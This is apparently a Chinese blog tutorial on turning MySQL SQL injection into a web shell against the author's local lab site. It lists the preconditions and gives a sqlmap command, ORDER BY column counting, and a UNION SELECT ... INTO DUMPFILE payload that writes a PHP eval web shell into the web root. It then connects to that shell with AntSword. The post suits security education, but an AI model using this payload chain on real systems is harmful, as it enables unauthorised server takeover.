从SQL注入到getshell

一、SQL注入getshell的条件

MySQL数据库getshell条件是很苛刻的,必须满足以下几个条件:
1、必须知道网站的绝对路径
2、要有file权限,默认情况下只有root有,也就是DBA为true
3、PHP的魔术引号(magic_quotes_gpc)没有开启
4、MySQL的secure_file_priv变量的值为空(empty)

二、实战演练讲解

1、绝对路径

可以通过报错、phpinfo界面、404界面等一些方式知道
也可以通过@@basedir(指定了安装 MySQL 的安装路径)、@@datadir(指定了 MySQL 的数据库文件放在什么路径下)来推测出绝对路径

但最好还是使它报错得出绝对路径,这样的话比较准确点

2、File权限

可以通过SQLMap工具的--is-dba选项来查询,必须DBA:True

python sqlmap.py -u http://www.t.com:8000/testMySql/edit.php?id=1 --is-dba

3、魔术引号(magic_quotes_gpc)

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

可以通过测试特殊字符是否被转义,phpinfo页面等一些方式来知道
如果是PHP 5.4.45版本以上的话可以不用考虑这个,因为早就移除了,压根找不到

4、secure_file_priv为空(empty)

secure-file-priv参数是用来限制LOAD DATA,SELECT ... OUTFILE,and LOAD_FILE()传到哪个指定目录的。

  • 当secure_file_priv的值为null ,表示限制mysql不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysql的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysql的导入|导出做限制

如果是MySQL5.5.53版本以下的话可以不用考虑这个,因为默认都是空。
如果是MySQL5.5.53版本以上的(包括5.5.53),此变量默认为NULL。

因为我这个MySQL5.7.11版本默认为NULL,所以我需要修改下



三、Getshell

order by 4页面正常

order by 5页面异常,猜测这里有4个字段

构成payload

union select 1,2,3,'<?php @eval($_REQUEST[6])?>' into dumpfile 'E:/wamp/www/t.com/testMySql/6.php'

访问http://www.t.com:8000/testMySql/6.php

输出phpinfo界面,http://www.t.com:8000/testMySql/6.php?6=phpinfo();

中国蚁剑连接http://www.t.com:8000/testMySql/6.php,成功getshell

  声明:请勿用作违法用途,请在授权情况下使用
posted @ 2021-03-01 15:29  Tkb-  阅读(1555)  评论(0编辑  收藏  举报